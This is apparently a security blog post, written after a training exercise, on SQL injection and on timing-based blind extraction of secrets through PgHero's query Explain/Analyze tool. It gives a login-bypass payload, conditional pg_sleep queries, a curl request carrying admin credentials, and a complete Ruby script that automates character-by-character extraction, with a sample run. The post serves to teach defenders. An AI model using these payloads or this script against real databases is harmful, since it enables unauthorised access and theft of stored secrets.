In a classic SQL injection attack, an attacker will insert additional SQL into an otherwise safe query. Consider this user login query:

SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password';

If the user-inputted password isn’t sanitized, an attacker could craft an input that would change the query, e.g. ' OR 1=' :

SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password' OR 1='1';

The injected SQL closes the first predicate and ORs it to another that is always true; meaning that this “password” can be used to log in to any account.

It’s important to note that while this bypasses account security, it doesn’t leak any sensitive information. That is, it’s a blind SQL injection attack because we can’t see the result of our SQL injection; the response to our login action doesn’t share what the password actually was.

Picking on PgHero

As part of a recent security training exercise, I was tasked with being a fake attacker who had gained access to one of our administrative tools. PgHero is a Ruby-based tool that provides an administrative interface to Postgres, with a focus on performance tuning. It is wonderfully useful. One included feature is a query Explainer and Analyzer:

This tool provides the result of Explain or Analyze, both of which do not include any of the data from the result of the query. By wrapping the query in a transaction and rolling it back, this tool also prevents destruction or mutation of data. At first glance, it would seem that this is a pretty innocuous tool that can do no harm: can’t change anything, can’t retrieve anything.

Timing-based Attack

While Explain/Analyze doesn’t return the result of the query, it does return metadata about the query: how long it takes the query to execute. Consider the following query:

SELECT CASE WHEN secret = 'secret' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;

This query will return quickly if the guess was wrong or take ~5s if correct. Using this query style and timing the execution time, we can now extract binary (yes/no) answers from the database. Using substr , every character in the string you’re trying to discover can be enumerated:

-- brute force 1st character

SELECT CASE WHEN substr(secret, 1, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;

SELECT CASE WHEN substr(secret, 1, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;

SELECT CASE WHEN substr(secret, 1, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;

... -- brute force 16th character

SELECT CASE WHEN substr(secret, 16, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;

SELECT CASE WHEN substr(secret, 16, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;

SELECT CASE WHEN substr(secret, 16, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;

...

Note: if you needed to do this as more than a proof of concept, binary searching will be much faster than testing each possibility.

For each character, the query that took ~5s to run indicates the correct character. If for some reason pg_sleep() isn’t available, any sufficiently slow/expensive query will do (e.g. joining on a field without an index).

To run these queries against PgHero, the SQL needs to be wrapped in an appropriate cURL command:



-d "query='SELECT CASE WHEN substr(secret,1,1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id=1;'" \

-d "commit=Analyze" \

--user admin:password \

https://myhost.com/pghero/explain curl --silent \-d "query='SELECT CASE WHEN substr(secret,1,1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id=1;'" \-d "commit=Analyze" \--user admin:password \

With a little boilerplate, we can automate the entire extraction process:

POSITIVE_DELAY = 2

CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a



def query(table, field, id, char, pos)

%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]

end



def timeit

t0 = Time.now

yield

Time.now - t0

end



def curl_test(table, field, id, char, pos)

cmd = <<-CMD.squish

curl --silent -d "query=#{query(table, field, id, char, pos)}" -d "commit=Analyze"

--user admin:password

https://myhost.com/pghero/explain

CMD

timeit { `#{ cmd }` } > POSITIVE_DELAY

end



def retrieve_field(table, field, id)

buffer = ""

(1..255).each do |pos|

found = false

CHARS.each do |char|

if curl_test(table, field, id, char, pos)

puts "#{pos}: #{char}"

buffer << char

found = true

break # once a match is found, move on

end

end

break unless found # if nothing matched, treat as end of string

end

buffer

end



secret = retrieve_field('apps', 'secret', 1)

puts "secret: #{secret}"

And a sample run of this attack:

$ ruby blind-sql.rb

1: 6

2: 4

3: 2

4: 8

5: 9

6: a

7: 1

8: 0

9: 9

10: c

11: d

12: 6

13: 3

14: b

15: d

16: f

17: 0

18: 3

19: a

20: 8

key: 64289a109cd63bdf03a8

Summary

Any SQL injection attack vector is bad news. Commonly they arise from programming errors, but administrative tooling can also expose SQL injection style attacks. If the SQL injection vector doesn’t expose the results of a query, the results can still be systematically extracted using a timing-based attack.

Further reading: